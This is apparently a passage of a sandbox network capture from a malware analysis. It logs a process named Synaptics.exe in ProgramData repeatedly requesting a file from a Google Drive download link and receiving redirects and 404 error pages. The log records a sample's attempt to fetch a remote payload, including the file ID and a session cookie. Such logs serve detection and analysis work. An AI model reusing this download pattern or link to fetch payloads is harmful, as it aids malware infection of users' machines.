2024-07-25 19:55:29 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:29 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-dYesL7hf6wT5Ua6Ydbf2PQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1642 X-GUploader-UploadID: AHxI1nPrZhltCmQGh5lW0jVHH3uebPLQiHJ2Nvk8WmKJaPoTuKNn599sAWD3p4DKzogR7-PABm8 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:29 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-07-25 19:55:29 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 51 59 75 34 48 56 43 4b 4e 35 6a 4a 70 49 38 61 5f 39 56 4d 72 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="QYu4HVCKN5jJpI8a_9VMrg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-07-25 19:55:29 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.8	49859	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:29 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:29 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:29 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-zi4V0hdZ-rZhJ434-lOkww' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.8	49862	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:29 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:29 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:29 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-1wss86BNnl3nKY-3wQUMCA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.8	49861	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:29 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:29 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:29 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-H-U0rj3mnaPxZDrWeSEOuQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1642 X-GUploader-UploadID: AHxI1nMbZyPh_W8Ostlii5tcrOMAZSi-ymv__2B3V__U6ybROv6i-5QwGH6Xz29KDgUa2_iKTg8 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:29 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-07-25 19:55:29 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 55 35 35 48 35 54 6d 5a 4d 6e 74 45 62 77 73 30 63 4d 5a 45 4d 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="U55H5TmZMntEbws0cMZEMQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-07-25 19:55:29 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.8	49864	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:30 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:30 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:30 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-z_u6V-BSyaD08sP_Ub1RjQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.8	49865	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:30 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:30 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:30 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-UlTKO9lyN4CW9pFIqpkLjg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1642 X-GUploader-UploadID: AHxI1nODbZRjucO3c1WN00sAe8_Ocw5SN-MHWJsOxx4o-1fgngmxq68qcAjxYEZDUabckmbQMQA Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:30 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-07-25 19:55:30 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 78 52 74 30 6b 5f 5f 70 36 38 5f 53 7a 6f 52 61 75 54 68 71 2d 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="xRt0k__p68_SzoRauThq-w">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-07-25 19:55:30 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.8	49866	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:30 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:30 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:30 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-ISeBILSe-GAHEbsMrsKpaA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.8	49867	142.250.186.129	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 19:55:30 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
2024-07-25 19:55:30 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 25 Jul 2024 19:55:30 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-87IXil6OaBqasRbZ2wpNSg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1642 X-GUploader-UploadID: AHxI1nNkC6GBQvdi9x3roRgtwA9jO9Bmll6PAkuv3sknTa2UHuAKggq7hx98EJDzpn-VJtRanNE Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-25 19:55:30 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-07-25 19:55:30 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 71 35 49 42 6e 6b 6c 71 69 75 6b 70 7a 46 30 77 42 68 4a 34 4a 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="q5IBnklqiukpzF0wBhJ4JQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-07-25 19:55:30 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.8	49870	142.250.186.110	443	6988	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
